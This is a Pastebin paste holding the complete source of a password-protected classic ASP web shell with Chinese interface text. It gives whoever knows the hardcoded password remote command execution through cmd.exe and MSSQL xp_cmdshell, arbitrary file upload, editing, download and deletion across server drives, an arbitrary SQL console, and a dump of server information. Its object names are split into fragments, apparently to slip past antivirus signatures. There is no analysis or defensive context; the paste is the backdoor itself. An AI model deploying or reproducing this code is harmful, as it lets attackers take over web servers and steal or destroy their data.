Advertisement
Guest User

Untitled

a guest
Jun 16th, 2019
139
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 24.52 KB | None | 0 0
  1. <%
  2. On Error Resume Next
  3. Pass="fuckingday":URL=Request.ServerVariables("URL"):IP=Request.ServerVariables("LOCAL_ADDR"):Act=Request("Act"):RootPath=Server.MapPath("."):WWWRoot=Server.MapPath("/"):FolderPath=Request("FolderPath"):FName=Request("FName"):BackUrl="<meta http-equiv='refresh' content='2;URL=?Act=ShowFile'>":If Session("aweige")<>Pass Then:If Request.Form("LPass")<>"" Then:If Request.Form("LPass")=Pass Then:Session("aweige")=Pass:Response.Redirect URL:Else:response.end:End If:Else:Response.Write"<form Act='"&URL&"' method='post'><input name='LPass'> <input type='submit' value='登录'></form>":End If:Response.End:End If
  4.  
  5. sub ShowErr()
  6. If Err Then:Response.Write"<br><a href='javascript:history.back()'><br>&nbsp;" & Err.Description & "</a>":Err.Clear:Response.Flush:End If:end sub
  7.  
  8. Dim ObT(6,2)
  9. ObT(0,0) = "Sc"&Df&"rip"&Df&"ting"&Df&".F"&Df&"ileS"&Df&"yste"&Df&"mObj"&Df&"ect":ObT(1,0) = "w"&Df&"sc"&Df&"ri"&Df&"pt.s"&Df&"he"&Df&"ll":ObT(2,0) = "ADOX.Catalog":ObT(3,0) = "Scrip"&Df&"ting"&Df&".D"&Df&"icti"&Df&"onary":ObT(4,0) = "Adodb.connection":ObT(5,0) = "Ado"&Df&"db"&Df&".S"&Df&"tre"&Df&"am"
  10.  
  11. For i=0 To 5
  12. Set T=Server.CreateObject(ObT(i,0))
  13. If -2147221005 <> Err Then
  14. IsObj=True
  15. Else
  16. IsObj=false
  17. Err.Clear
  18. End If
  19. Set T=Nothing
  20. ObT(i,1)=IsObj
  21. Next
  22.  
  23. Function RePath(S):RePath=Replace(S,"\","\\"):End Function:Function RRePath(S):RRePath=Replace(S,"\\","\"):End Function:If FolderPath<>"" then:Session("FolderPath")=RRePath(FolderPath):End If:If Session("FolderPath")="" Then:FolderPath=RootPath:Session("FolderPath")=FolderPath:End if
  24. Function Ico(ta):Ico = "&nbsp;<font face='wingdings' size='5'>"&ta&"</font>":End Function::Function MainForm():S="<form name=""hideform"" method=""post"" Act="""&URL&""" target=""FileFrame""><input type=""hidden"" name=""Act""><input type=""hidden"" name=""FName""></form><table class=tr width='100%' height='100%' border='0' cellpadding='0' cellspacing='0'><tr><td height='30' colspan='2'><table width='100%' height='25' border='0' cellpadding='0' cellspacing='0'><form name='addrform' method='post' Act='"&URL&"' target='_parent'><tr><td width='60' align='center'>地址栏:</td><td><input name='FolderPath' style='width:95%' value='"&Session("FolderPath")&"'> <input name='Submit' type='submit' value='转到'></td></tr></form></table></td></tr><tr><td width='160'><iframe name='Left' src='?Act=MainMenu' width='100%' height='100%' frameborder='2' scrolling='yes'></iframe></td><td><iframe name='FileFrame' src='?Act=ShowFile' width='100%' height='100%' frameborder='1' scrolling='yes'></iframe></td></tr></table>":Response.Write S:End Function:Function MainMenu():S="<body class=tr><table width='100%' border='0' cellspacing='0' cellpadding='0'><tr><td height='5'></td></tr>"&"<tr><td>&nbsp;"&Ico("&#58")&"我的电脑</td></tr>":on error resume next:If Not ObT(0,1) Then:S=S&"<tr><td height='20'></td></tr>":Else:Set ABC=New LBF:S=S&ABC.ShowDriver():Set ABC=Nothing:S=S&"<tr><td>&nbsp;&nbsp;&nbsp;&nbsp;"& Ico("&#52")&"<a href='javascript:ShowFolder("""&RePath(WWWRoot)&""")'>WEB根目录</a></td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;"& Ico("&#52")&"<a href='javascript:ShowFolder("""&RePath(RootPath)&""")'>程序目录</a></td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;"& Ico("1")&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\NewFolder")&""",""NewFolder"")'>新建目录</a></td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;"&Ico("2")&"<a href='?Act=EditFile' target='FileFrame'>新建文本</a></td></tr>":End If:Response.Write S:S="":S=S&"<tr><td>&nbsp;"&Ico("&#54")&"<a href='?Act=UpFile' target='FileFrame'>文件上传</a></td></tr>:<tr><td>&nbsp;"&Ico("&#56")&"数据库操作</td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;"&Ico("4")&"<a href='javascript:FullForm("""&RePath(Session("FolderPath")&"\New.mdb")&""",""CreateMdb"")'>建立MDB文件</a></td></tr><tr><td>&nbsp;&nbsp;&nbsp;&nbsp;"&Ico("4")&"<a href='?Act=DbManager' target='FileFrame'>数据库操作</a></td></tr><tr><td>&nbsp;"&Ico("&#55")&"命令行</td></tr><tr><td>&nbsp;&nbsp;&nbsp;"&Ico("&#61")&"<a href='?Act=CmdShell' target='FileFrame'>一般CMD命令</a></td></tr><tr><td>&nbsp;&nbsp;&nbsp;"&Ico("&#61")&"<a href='?Act=MMD' target='FileFrame'>SQL CMD命令</a></td></tr><tr><td>&nbsp;"&Ico("f")&"<a href='?Act=ServerInfo' target='FileFrame'>服务器信息</a></td></tr><tr><td>&nbsp;"&Ico("f")&"<a href='?Act=Logout' target='_top'>退出登录</a></td></tr></table></body>":Response.Write S : S="":End Function:Function ServerInfo():S=S&"<table width=100% class=am><tr>服务器上安装的服务</tr>":on error resume next:set SV = GetObject("WinNT://."):for each obj in SV:if lcase(mid(obj.path,4,3))="win" then:S=S&"<tr><td> "&obj.Name&"</td><td> "&obj.DisplayName &"</td></tr><tr><td></td><td><font color=green>"&obj.path&"</td></tr>":else:S=S&"<tr><td> "&obj.Name&"</td><td> "&obj.DisplayName &"</td></tr><tr><td></td><td><font color=red>"&obj.path&"</td></tr>":end if:next:S=S&"</table><tr>服务器变量</tr><hr><table><td class=am>":for each name in request.servervariables:S=S&name&"<br>"&request.servervariables(name)&"<HR>":next:S=S&"</td></table>":Response.Write S : S="":End Function:Function DownFile(Path):Response.Clear:Set OSM = CreateObject(ObT(5,0)):OSM.Open:OSM.Type = 1:OSM.LoadFromFile Path:Response.AddHeader "Content-Disposition", "attachment; filename=" & Path:Response.Charset = "UTF-8":Response.ContentType = "application/octet-stream":Response.BinaryWrite OSM.Read:Response.Flush:OSM.Close:Set OSM = Nothing:End Function
  25. Function HTMLEncode(S):if not isnull(S) then:S = replace(S, ">", "&gt;"):S = replace(S, "<", "&lt;"):S = replace(S, CHR(39), "&#39;"):S = replace(S, CHR(34), "&quot;"):HTMLEncode = S:end if:End Function
  26. Function UpFile():If Request("Act2")="Post" Then:Set U=new UPC : Set F=U.UA("LocalFile"):UName=U.form("ToPath"):If UName="" Or F.FileSize=0 then:SI="请输入上传的完全路径后选择一个文件上传!":Else:F.SaveAs UName:If Err.number=0 Then:SI="文件"&UName&"上传成功!":End if:End If:Set F=nothing:Set U=nothing:SI=SI&BackUrl:Response.Write SI:ShowErr():Response.End:End If:SI="<table align='center'><form name='UpForm' method='post' action='"&URL&"?Act=UpFile&Act2=Post' enctype='multipart/form-data'><tr><td>上传路径:<input name='ToPath' value='"&RRePath(Session("FolderPath")&"\newup.asp")&"' size='40'>&nbsp;<input name='LocalFile' type='file' size='25'><input type='submit' name='Submit' value='上传'></td></tr></form></table>":Response.Write SI:End Function
  27. Function CmdShell()
  28. If Request("SP")<>"" Then:ShellPath = Request("SP"):Else:ShellPath = "cmd.exe":End If
  29. If Request("cmd")<>"" Then DefCmd = Request("cmd")
  30. S="<form method='post'><textarea readonly Style='width:100%;height:500;' class='cmd'>"
  31. If Request.Form("cmd")<>"" Then S=S&CreateObject(ObT(1,0)).exec(ShellPath&" /c "&DefCmd).stdout.readall
  32. S=S&"</textarea> 路 径:<input name='SP' size=55> 命 令:<input name='cmd' size=55><input type='submit' value='执行'></form>Rar命令行压缩示例:c:\progra~1\winrar\rar.exe a d:\web\web1.rar d:\web\web1"
  33. Response.Write S
  34. End Function
  35. FuncTion MMD()
  36. SI="<br><table width=""100%""><tr class=tr><form name=form method=post action="""">CMD命令<input type=text name=MMD size=35 ><input type=text name=U value=mssql用户名><input type=text name=P value=mssql密码><input type=submit value=执行></form></tr></table>":response.write SI:SI="":If trim(request.form("MMD"))<>"" Then:password= trim(Request.form("P")):id=trim(Request.form("U")):set adoConn=Server.CreateObject("ADODB.Connection"):adoConn.Open "Provider=SQLOLEDB.1;Password="&password&";User ID="&id:strQuery = "exec master.dbo.xp_cmdshell '" & request.form("MMD") & "'":set recResult = adoConn.Execute(strQuery):If NOT recResult.EOF Then:Do While NOT recResult.EOF:strResult = strResult & chr(13) & recResult(0):recResult.MoveNext:Loop:End if:set recResult = Nothing:strResult = Replace(strResult," ","&nbsp;"):strResult = Replace(strResult,"<","&lt;"):strResult = Replace(strResult,">","&gt;"):strResult = Replace(strResult,chr(13),"<br>"):End if:set adoConn = Nothing:Response.Write request.form("MMD") & "<br>"& strResult:end FuncTion
  37. Function CreateMdb(Path)
  38. Set C = CreateObject(ObT(2,0)):C.Create("Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" & Path):Set C = Nothing:If Err.number=0 Then
  39. S = S & Path & "建立成功!"
  40. End If:S=S&BackUrl:Response.Write S:End function
  41. Function DbManager():SqlStr=Trim(Request.Form("SqlStr")):DbStr=Request.Form("DbStr"):S=S&"<table width='100%' border='0' cellspacing='0' cellpadding='0'><form name='DbForm' method='post' Act=''><tr><td width='100' height='27'> &nbsp;数据库连接串:</td>":S=S&"<td><input name='DbStr' style='width:100%' value="""&DbStr&"""></td><td width='60' align='center'><select name='StrBtn' onchange='return FullDbStr(options[selectedIndex].value)'><option value=-1>连接串示例</option><option value=0>Access连接</option><option value=1>MsSql连接</option><option value=2>MySql连接</option><option value=3>DSN连接</option><option value=-1>--SQL语法--</option><option value=4>显示数据</option><option value=5>添加数据</option><option value=6>删除数据</option><option value=7>修改数据</option><option value=8>建数据表</option><option value=9>删数据表</option><option value=10>添加字段</option><option value=11>删除字段</option><option value=12>完全显示</option></select></td></tr><input name='Act' type='hidden' value='DbManager'><input name='Page' type='hidden' value='1'><tr><td height='30'>&nbsp;SQL操作命令:</td><td><input name='SqlStr' style='width:100%' value="""&SqlStr&"""></td><td align='center'><input type='submit' name='Submit' value='执行' onclick='return DbCheck()'></td></tr></form></table><span id='abc'></span>":Response.Write S:S=""
  42. If Len(DbStr)>40 Then
  43. Set Conn=CreateObject(ObT(4,0)):Conn.Open DbStr:Set Rs=Conn.OpenSchema(20):S=S&"<table><tr height='25' Bgcolor='#D2EAFF'><td>表<br>名</td>"
  44. Rs.MoveFirst
  45. Do While Not Rs.Eof
  46. If Rs("TABLE_TYPE")="TABLE" then
  47. TName=Rs("TABLE_NAME")
  48. S=S&"<td align=center><a href='javascript:FullSqlStr(""DROP TABLE ["&TName&"]"",1)'>[ del ]</a><br><a href='javascript:FullSqlStr(""SELECT * FROM ["&TName&"]"",1)'>"&TName&"</a></td>"
  49. End If
  50. Rs.MoveNext
  51. Loop
  52. Set Rs=Nothing
  53. S=S&"</tr></table>"
  54. Response.Write S:S=""
  55. If Len(SqlStr)>10 Then
  56. If LCase(Left(SqlStr,6))="select" then
  57. S=S&"执行语句:"&SqlStr
  58. Set Rs=CreateObject("Adodb.Recordset")
  59. Rs.open SqlStr,Conn,1,1
  60. FN=Rs.Fields.Count
  61. RC=Rs.RecordCount
  62. Rs.PageSize=8
  63. Count=Rs.PageSize
  64. PN=Rs.PageCount
  65. Page=request("Page")
  66. If Page<>"" Then Page=Clng(Page)
  67. If Page="" Or Page=0 Then Page=1
  68. If Page>PN Then Page=PN
  69. If Page>1 Then Rs.absolutepage=Page
  70. S=S&"<table><tr height=25 class=tr><td></td>"
  71. For n=0 to FN-1
  72. Set Fld=Rs.Fields.Item(n)
  73. S=S&"<td align='center'>"&Fld.Name&"</td>"
  74. Set Fld=nothing
  75. Next
  76. S=S&"</tr>"
  77. Do While Not(Rs.Eof or Rs.Bof) And Count>0
  78. Count=Count-1
  79. Bgcolor="#F0FCFF"
  80. S=S&"<tr><td class=tr><font face='wingdings'>x</font></td>"
  81. For i=0 To FN-1
  82. Bgcolor="#F0FCFF"
  83. If RC=1 Then
  84. ColInfo=HTMLEncode(Rs(i))
  85. Else
  86. ColInfo=HTMLEncode(Left(Rs(i),50))
  87. End If
  88. S=S&"<td bgcolor="&Bgcolor&">"&ColInfo&"</td>"
  89. Next
  90. S=S&"</tr>"
  91. Rs.MoveNext
  92. Loop
  93. Response.Write S:S=""
  94. SqlStr=HtmlEnCode(SqlStr)
  95. S=S&"<tr><td colspan="&FN+1&" align=center>记录数:"&RC&"&nbsp;页码:"&Page&"/"&PN
  96. If PN>1 Then
  97. S=S&"&nbsp;&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""",1)'>首页</a>&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&Page-1&")'>上一页</a>&nbsp;"
  98. If Page>8 Then:Sp=Page-8:Else:Sp=1:End if
  99. For i=Sp To Sp+8
  100. If i>PN Then Exit For
  101. If i=Page Then
  102. S=S&i&"&nbsp;"
  103. Else
  104. S=S&"<a href='javascript:FullSqlStr("""&SqlStr&""","&i&")'>"&i&"</a>&nbsp;"
  105. End If
  106. Next:S=S&"&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&Page+1&")'>下一页</a>&nbsp;<a href='javascript:FullSqlStr("""&SqlStr&""","&PN&")'>尾页</a>"
  107. End If:S=S&"<hr color='#F0FCFF'></td></tr></table>":Rs.Close:Set Rs=Nothing:Response.Write S:S=""
  108. Else:Conn.Execute(SqlStr):S=S&"成功执行SQL语句:"&SqlStr
  109. End If:Response.Write S:S=""
  110. End If:Conn.Close:Set Conn=Nothing
  111. End If:End Function
  112. %>
  113. <html>
  114. <head>
  115. <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
  116. <title><%=IP%></title>
  117. <style type="text/css">
  118. <!--
  119. body,td {font-size: 12px;}
  120. input,select{font-size: 12px;background-color:#FFFFFF;}
  121. .tr {background-color:#D2EAFF;}
  122. .cmd {background-color:#000000;color:#FFFFFF}
  123. body {margin-left: 0px;margin-top: 0px;margin-right: 0px;margin-bottom: 0px;
  124. <%If Act="" then response.write "overflow-x:hidden;overflow-y:hidden;"%>}
  125. a {color: black;text-decoration: none;}
  126. .am {background-color:#F0FCFF}
  127. -->
  128. </style>
  129. <script language="javascript">
  130. <!--
  131. function yesok(){
  132. if (confirm("确认要执行此操作吗?"))
  133. return true;
  134. else
  135. return false;
  136. }
  137. function ShowFolder(Folder){
  138. top.addrform.FolderPath.value = Folder;
  139. top.addrform.submit();
  140. }
  141. function FullForm(FName,FAction){
  142. top.hideform.FName.value = FName;
  143. if(FAction=="CopyFile"){
  144. DName = prompt("请输入复制到目标文件全名称",FName);
  145. top.hideform.FName.value += "||||"+DName;
  146. }else if(FAction=="MoveFile"){
  147. DName = prompt("请输入移动到目标文件全名称",FName);
  148. top.hideform.FName.value += "||||"+DName;
  149. }else if(FAction=="CopyFolder"){
  150. DName = prompt("请输入移动到目标文件夹全名称",FName);
  151. top.hideform.FName.value += "||||"+DName;
  152. }else if(FAction=="MoveFolder"){
  153. DName = prompt("请输入移动到目标文件夹全名称",FName);
  154. top.hideform.FName.value += "||||"+DName;
  155. }else if(FAction=="NewFolder"){
  156. DName = prompt("请输入要新建的文件夹全名称",FName);
  157. top.hideform.FName.value = DName;
  158. }else if(FAction=="CreateMdb"){
  159. DName = prompt("请输入要新建的Mdb文件全名称,注意不能同名!",FName);
  160. top.hideform.FName.value = DName;
  161. }else{
  162. DName = "Other";
  163. }
  164. if(DName!=null){
  165. top.hideform.Act.value = FAction;
  166. top.hideform.submit();
  167. }else{
  168. top.hideform.FName.value = "";
  169. }
  170. }
  171. function DbCheck(){
  172. if(DbForm.DbStr.value == ""){
  173. alert("请先连接数据库");
  174. FullDbStr(0);
  175. return false;
  176. }
  177. return true;
  178. }
  179. function FullDbStr(i){
  180. if(i<0){
  181. return false;
  182. }
  183. Str = new Array(12);
  184. Str[0] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=<%=RePath(Session("FolderPath"))%>\\db.mdb";
  185. Str[1] = "Driver={Sql Server};Server=<%=IP%>,1433;Database=DbName;Uid=sa;Pwd=";
  186. Str[2] = "Driver={MySql};Server=<%=IP%>;Port=3306;Database=DbName;Uid=root;Pwd=";
  187. Str[3] = "Dsn=DsnName";
  188. Str[4] = "SELECT * FROM [TableName] WHERE ID<100";
  189. Str[5] = "INSERT INTO [TableName](USER,PASS) VALUES(\'aweige\',\'pass\')";
  190. Str[6] = "DELETE FROM [TableName] WHERE ID=1";
  191. Str[7] = "UPDATE [TableName] SET USER=\'aweige\' WHERE ID=1";
  192. Str[8] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))";
  193. Str[9] = "DROP TABLE [TableName]";
  194. Str[10]= "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)";
  195. Str[11]= "ALTER TABLE [TableName] DROP COLUMN PASS";
  196. Str[12]= "当只显示一条数据时即可显示字段的全部字节,可用条件控制查询实现.\n超过一条数据只显示字段的前五十个字节。";
  197. if(i<=3){
  198. DbForm.DbStr.value = Str[i];
  199. DbForm.SqlStr.value = "";
  200. abc.innerHTML="<center>请确认己连接数据库再输入SQL操作命令语句。</center>";
  201. }else if(i==12){
  202. alert(Str[i]);
  203. }else{
  204. DbForm.SqlStr.value = Str[i];
  205. }
  206. return true;
  207. }
  208. function FullSqlStr(str,pg){
  209. if(DbForm.DbStr.value.length<5){
  210. alert("请检查数据库连接串是否正确!")
  211. return false;
  212. }
  213. if(str.length<10){
  214. alert("请检查SQL语句是否正确!")
  215. return false;
  216. }
  217. DbForm.SqlStr.value = str ;
  218. DbForm.Page.value = pg;
  219. abc.innerHTML="";
  220. DbForm.submit();
  221. return true;
  222. }
  223. -->
  224. </script>
  225. </head><body>
  226. <%
  227. Dim T1
  228. Class UPC
  229. Dim D1,D2
  230. Public Function Form(F):F=lcase(F):If D1.exists(F) then:Form=D1(F):else:Form="":end if:End Function
  231. Public Function UA(F):F=lcase(F):If D2.exists(F) then:set UA=D2(F):else:set UA=new FIF:end if:End Function
  232. Private Sub Class_Initialize
  233. Dim TDa,TSt,vbCrlf,TIn,DIEnd,T2,TLen,TFL,SFV,FStart,FEnd,DStart,DEnd,UpName
  234. set D1=CreateObject(ObT(3,0)):if Request.TotalBytes<1 then Exit Sub
  235. set T1 = CreateObject(ObT(5,0)):T1.Type = 1 : T1.Mode =3 : T1.Open
  236. T1.Write Request.BinaryRead(Request.TotalBytes):T1.Position=0 : TDa =T1.Read : DStart = 1
  237. DEnd = LenB(TDa):set D2=CreateObject(ObT(3,0)):vbCrlf = chrB(13) & chrB(10):set T2 = CreateObject(ObT(5,0)):TSt = MidB(TDa,1, InStrB(DStart,TDa,vbCrlf)-1):TLen = LenB (TSt)
  238. DStart=DStart+TLen+1
  239. while (DStart + 10) < DEnd
  240. DIEnd = InStrB(DStart,TDa,vbCrlf & vbCrlf)+3
  241. T2.Type = 1 : T2.Mode =3 : T2.Open
  242. T1.Position = DStart
  243. T1.CopyTo T2,DIEnd-DStart
  244. T2.Position = 0 : T2.Type = 2 : T2.Charset ="gb2312"
  245. TIn = T2.ReadText : T2.Close
  246. DStart = InStrB(DIEnd,TDa,TSt)
  247. FStart = InStr(22,TIn,"name=""",1)+6
  248. FEnd = InStr(FStart,TIn,"""",1)
  249. UpName = lcase(Mid (TIn,FStart,FEnd-FStart))
  250. if InStr (45,TIn,"filename=""",1) > 0 then
  251. set TFL=new FIF
  252. FStart = InStr(FEnd,TIn,"filename=""",1)+10
  253. FEnd = InStr(FStart,TIn,"""",1)
  254. FStart = InStr(FEnd,TIn,"Content-Type: ",1)+14
  255. FEnd = InStr(FStart,TIn,vbCr)
  256. TFL.FileStart =DIEnd
  257. TFL.FileSize = DStart -DIEnd -3
  258. if not D2.Exists(UpName) then
  259. D2.add UpName,TFL
  260. end if
  261. else
  262. T2.Type =1 : T2.Mode =3 : T2.Open
  263. T1.Position = DIEnd : T1.CopyTo T2,DStart-DIEnd-3
  264. T2.Position = 0 : T2.Type = 2
  265. T2.Charset ="gb2312"
  266. SFV = T2.ReadText
  267. T2.Close
  268. if D1.Exists(UpName) then
  269. D1(UpName)=D1(UpName)&", "&SFV
  270. else
  271. D1.Add UpName,SFV
  272. end if
  273. end if
  274. DStart=DStart+TLen+1
  275. wend
  276. TDa=""
  277. set T2 =nothing
  278. End Sub
  279.  
  280. Private Sub Class_Terminate
  281. if Request.TotalBytes>0 then
  282. D1.RemoveAll:D2.RemoveAll
  283. set D1=nothing:set D2=nothing
  284. T1.Close:set T1 =nothing
  285. end if
  286. End Sub
  287. End Class
  288.  
  289. Class FIF
  290. dim FileSize,FileStart
  291. Private Sub Class_Initialize
  292. FileSize = 0
  293. FileStart= 0
  294. End Sub
  295.  
  296. Public function SaveAs(F)
  297. dim T3
  298. SaveAs=true
  299. if trim(F)="" or FileStart=0 then exit function
  300. set T3=CreateObject(ObT(5,0))
  301. T3.Mode=3 : T3.Type=1 : T3.Open
  302. T1.position=FileStart
  303. T1.copyto T3,FileSize
  304. T3.SaveToFile F,2
  305. T3.Close
  306. set T3=nothing
  307. SaveAs=false
  308. end function
  309. End Class
  310.  
  311. Class LBF
  312. Dim CF
  313. Private Sub Class_Initialize
  314. SET CF=CreateObject(ObT(0,0))
  315. End Sub
  316. Private Sub Class_Terminate
  317. Set CF=Nothing
  318. End Sub
  319. function Tran(drv):select case drv:case 0:Tran=Ico("&#61")&"怪盘":case 1:Tran=Ico("&#60")&"软盘":case 2:Tran=Ico("&#59")&"本地硬盘":case 3:Tran=Ico("&#82")&"网络盘":case 4:Tran=Ico("&#62")&"光盘":case 5:Tran="RAM":end select:end function
  320. Function ShowDriver():For Each D in CF.Drives:S=S&"<tr><td>&nbsp;&nbsp;":S=S&"<a href='javascript:ShowFolder("""&D.DriveLetter&":\\"")'>"&Tran(D.DriveType)& D.DriveLetter&"</a></td></tr>":Next:ShowDriver=S:End Function
  321. Function FileIco(FName):FileIco="<font face='wingdings' size='5'>2</font> ":End Function
  322. Function ShowFile(Path):Set FOLD=CF.GetFolder(Path):i=0:S="<table width='100%' border='0' cellspacing='0' cellpadding='0' bgcolor='#D2EAFF'><tr>":For Each F in FOLD.subfolders:S=S&"<td>"&Ico("0")&" <a href='javascript:ShowFolder("""&RePath(Path&"\"&F.Name)&""")'>"&F.Name&"</a> | <a href='javascript:FullForm("""&Replace(Path&"\"&F.Name,"\","\\")&""",""DelFolder"")' onclick='return yesok()'>del</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""CopyFolder"")' onclick='return yesok()'>copy</a> <a href='javascript:FullForm("""&RePath(Path&"\"&F.Name)&""",""MoveFolder"")' onclick='return yesok()'>move</a>":i=i+1:If i mod 3 = 0 then S=S&"</tr><tr>"
  323. Next:S=S&"</tr><tr><td height=5></td></tr></table>":Response.Write S : S="":For Each L in Fold.files:S="<table width='100%' border='0' cellspacing='1' cellpadding='0'><tr onMouseOver=""this.className='tr'"" onMouseOut=""this.className='am'"" class=am><td height='20' width='180'>"&FileIco(L.Name)&"<a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DownFile"");' title=""点击下载"&chr(13)&"文件名: "&L.Name&chr(13)&"大小:"&clng(L.size/1024)&"K"&chr(13)&"类型: "&L.type&chr(13)&"属性: "&L.Attributes&chr(13)&"时间:"&L.DateLastModified&""">"&L.Name&"</a></td><td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""EditFile"")'>edit</a></td><td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""DelFile"")' onclick='return yesok()'>del</a></td><td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""CopyFile"")'>copy</a></td><td width='40' align=""center""><a href='javascript:FullForm("""&RePath(Path&"\"&L.Name)&""",""MoveFile"")'>move</a></td></tr></table>":Response.Write S : S=""
  324. Next:Set FOLD=Nothing:End function
  325.  
  326. Function DelFile(Path):If CF.FileExists(Path) Then:CF.DeleteFile Path:S="文件 "&Path&" 删除成功!"&BackUrl:Response.Write S:End If:End Function
  327. Function EditFile(Path):If Request("Act2")="Post" Then:Set T=CF.CreateTextFile(Path):T.WriteLine Request.form("content"):T.close:Set T=nothing:SI="文件保存成功!":SI=SI&BackUrl:Response.Write SI:Response.End:End If:If Path<>"" Then:Set T=CF.opentextfile(Path, 1, False):Txt=HTMLEncode(T.readall):T.close:Set T=Nothing:Else:Path=Session("FolderPath")&"\newfile.asp":Txt="新建文件":End If:SI="<table width='100%' height='100%'><tr><td valign='top' align='center'>":SI=SI&"<Form action='"&URL&"?Act2=Post' method='post' name='EditForm'>":SI=SI&"<input name='Act' value='EditFile' Type='hidden'>":SI=SI&"<input name='FName' value='"&Path&"' style='width:100%'>":SI=SI&"<textarea name='Content' style='width:100%;height:450'>"&Txt&"</textarea><br>":SI=SI&"<input name='goback' type='button' value='返回' onclick='history.back();'>&nbsp;&nbsp;&nbsp;<input name='reset' type='reset' value='重置'>&nbsp;&nbsp;&nbsp;<input name='submit' type='submit' value='保存'></form>":SI=SI&"</td></tr></table></body></html>":Response.Write SI:End Function
  328. Function CopyFile(Path):Path = Split(Path,"||||"):If CF.FileExists(Path(0)) and Path(1)<>"" Then:CF.CopyFile Path(0),Path(1):S="文件"&Path(0)&"复制成功!"&BackUrl:Response.Write S:End If:End Function
  329. Function MoveFile(Path):Path = Split(Path,"||||"):If CF.FileExists(Path(0)) and Path(1)<>"" Then:CF.MoveFile Path(0),Path(1):S="文件"&Path(0)&"移动成功!"&BackUrl: Response.Write S:End If:End Function
  330. Function DelFolder(Path):If CF.FolderExists(Path) Then:CF.DeleteFolder Path:S="目录"&Path&"删除成功!"&BackUrl:Response.Write S:End If:End Function:
  331. Function CopyFolder(Path):Path = Split(Path,"||||"):If CF.FolderExists(Path(0)) and Path(1)<>"" Then:CF.CopyFolder Path(0),Path(1):S="目录"&Path(0)&"复制成功!"&BackUrl:Response.Write S:End If:End Function
  332. Function MoveFolder(Path):Path = Split(Path,"||||"):If CF.FolderExists(Path(0)) and Path(1)<>"" Then:CF.MoveFolder Path(0),Path(1):S="目录"&Path(0)&"移动成功!"&BackUrl:Response.Write S:End If:End Function
  333. Function NewFolder(Path):If Not CF.FolderExists(Path) and Path<>"" Then:CF.CreateFolder Path:S="目录"&Path&"新建成功!"&BackUrl:Response.Write S:End If:End Function
  334. End Class
  335. Select Case Act:Case "MainMenu":MainMenu():Case "ShowFile":Set ABC=New LBF:ABC.ShowFile(Session("FolderPath")):Set ABC=Nothing:Case "DownFile":DownFile FName:ShowErr():Case "DelFile":Set ABC=New LBF:ABC.DelFile(FName):Set ABC=Nothing:Case "EditFile":Set ABC=New LBF:ABC.EditFile(FName):Set ABC=Nothing:Case "CopyFile":Set ABC=New LBF:ABC.CopyFile(FName):Set ABC=Nothing:Case "MoveFile":Set ABC=New LBF:ABC.MoveFile(FName):Set ABC=Nothing:Case "DelFolder":Set ABC=New LBF:ABC.DelFolder(FName):Set ABC=Nothing:Case "CopyFolder":Set ABC=New LBF:ABC.CopyFolder(FName):Set ABC=Nothing:Case "MoveFolder":Set ABC=New LBF:ABC.MoveFolder(FName):Set ABC=Nothing:Case "NewFolder":Set ABC=New LBF:ABC.NewFolder(FName):Set ABC=Nothing:Case "UpFile":UpFile():Case "Logout":Session.Contents.Remove("aweige"):Response.Redirect URL:Case "CmdShell":CmdShell():Case "MMD":MMD():Case "CreateMdb":CreateMdb FName:Case "CompactMdb":CompactMdb FName:Case "DbManager":DbManager():Case "ServerInfo":ServerInfo():Case Else MainForm():End Select:ShowErr()
  336. %>
  337. </body></html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement